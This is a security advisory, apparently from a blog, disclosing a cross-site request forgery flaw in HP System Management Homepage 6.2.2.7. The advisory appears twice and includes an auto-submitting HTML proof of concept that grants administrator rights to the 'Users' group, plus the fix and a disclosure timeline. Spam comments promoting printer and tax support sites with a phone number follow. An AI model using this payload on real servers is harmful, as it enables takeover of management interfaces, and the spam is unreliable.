Description
HP System Management Homepage is a web-based interface that consolidates and simplifies the management of individual ProLiant and Integrity servers running Microsoft Windows or Linux operating systems, or HP 9000 and HP Integrity servers running HP-UX 11i.
Sow Ching Shiong, an independent vulnerability researcher has discovered Cross-Site Request Forgery vulnerability in HP System Management Homepage. This issue was discovered in a default installation of HP System Management Homepage 6.2.2.7. Other earlier versions may also be affected.
Proof of concept
<html>
<body>
<form action="https://[target]:2381/proxy/SetSMHData" id="csrf" method="post">
<input type="hidden" name="admin-group" value="Users" />
<input type="hidden" name="operator-group" value="" />
<input type="hidden" name="user-group" value="" />
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>
Solution
HP has provided HP System Management Homepage v7.0 or subsequent to resolve the vulnerabilities. Please see the references for more information.
References
Vendor URL: http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03280632
Secunia: http://secunia.com/advisories/43012/
Disclosure Timeline
2011-01-21 - Vulnerability discovered.
2011-01-21 - Vulnerability reported to Secunia.
2011-01-21 - Secunia confirmed the vulnerability and contacted the vendor.
2012-04-11 - Advisory published by Secunia since it has been coordinated for more than a year.
2012-04-19 - Patch released.
2012-04-20 - Advisory updated by Secunia.
HP System Management Homepage is a web-based interface that consolidates and simplifies the management of individual ProLiant and Integrity servers running Microsoft Windows or Linux operating systems, or HP 9000 and HP Integrity servers running HP-UX 11i.
Sow Ching Shiong, an independent vulnerability researcher has discovered Cross-Site Request Forgery vulnerability in HP System Management Homepage. This issue was discovered in a default installation of HP System Management Homepage 6.2.2.7. Other earlier versions may also be affected.
Proof of concept
<html>
<body>
<form action="https://[target]:2381/proxy/SetSMHData" id="csrf" method="post">
<input type="hidden" name="admin-group" value="Users" />
<input type="hidden" name="operator-group" value="" />
<input type="hidden" name="user-group" value="" />
</form>
<script>
document.getElementById('csrf').submit();
</script>
</body>
</html>
Solution
HP has provided HP System Management Homepage v7.0 or subsequent to resolve the vulnerabilities. Please see the references for more information.
References
Vendor URL: http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03280632
Secunia: http://secunia.com/advisories/43012/
Disclosure Timeline
2011-01-21 - Vulnerability discovered.
2011-01-21 - Vulnerability reported to Secunia.
2011-01-21 - Secunia confirmed the vulnerability and contacted the vendor.
2012-04-11 - Advisory published by Secunia since it has been coordinated for more than a year.
2012-04-19 - Patch released.
2012-04-20 - Advisory updated by Secunia.
123.hp.com/setup
ReplyDelete123.hp.com/envy 5660
ReplyDelete123.hp.com/setup 7100
ReplyDelete123.hp.com/setup 5200
ReplyDelete123.hp.com/setup 2634
ReplyDelete123.hp.com/setup 4657
ReplyDelete123.hp.com printer setup
ReplyDelete123 hp.com
ReplyDeleteHealthcare
ReplyDeleteIf your printer loses its connectivity with your wireless device often, check for the distance between the wireless Router and the Epson printer. Additionally, if there are any barriers affecting the network connectivity, please get rid of them.
ReplyDeleteContact us to discuss more on Epson Printer Troubleshooting at Epson Connect Printer Setup
123.hp.com/setup guide will provide you information on the setup steps to be done. Select the best device to get all your print outs. If the device is new it's the first time printer setup that you have to do. Slide all the hardware requirements. Get the valid software and install it on the device. Resolve the errors right away.
ReplyDeleteFor more assistance, you can make a note of the customer support number and dial it right away @ +1-844-876-5110.
hp officejet pro 9013 setup
ReplyDeleteIf you search best technical support for TurboTax Support and Office.com/setup then you can visit here and resolve you problem immediately. Because our expert always provide the best and satisfy solution.
ReplyDeleteOffice.com/setup
TurboTax Support
123hp.com/setup
Epson XP 960
ReplyDelete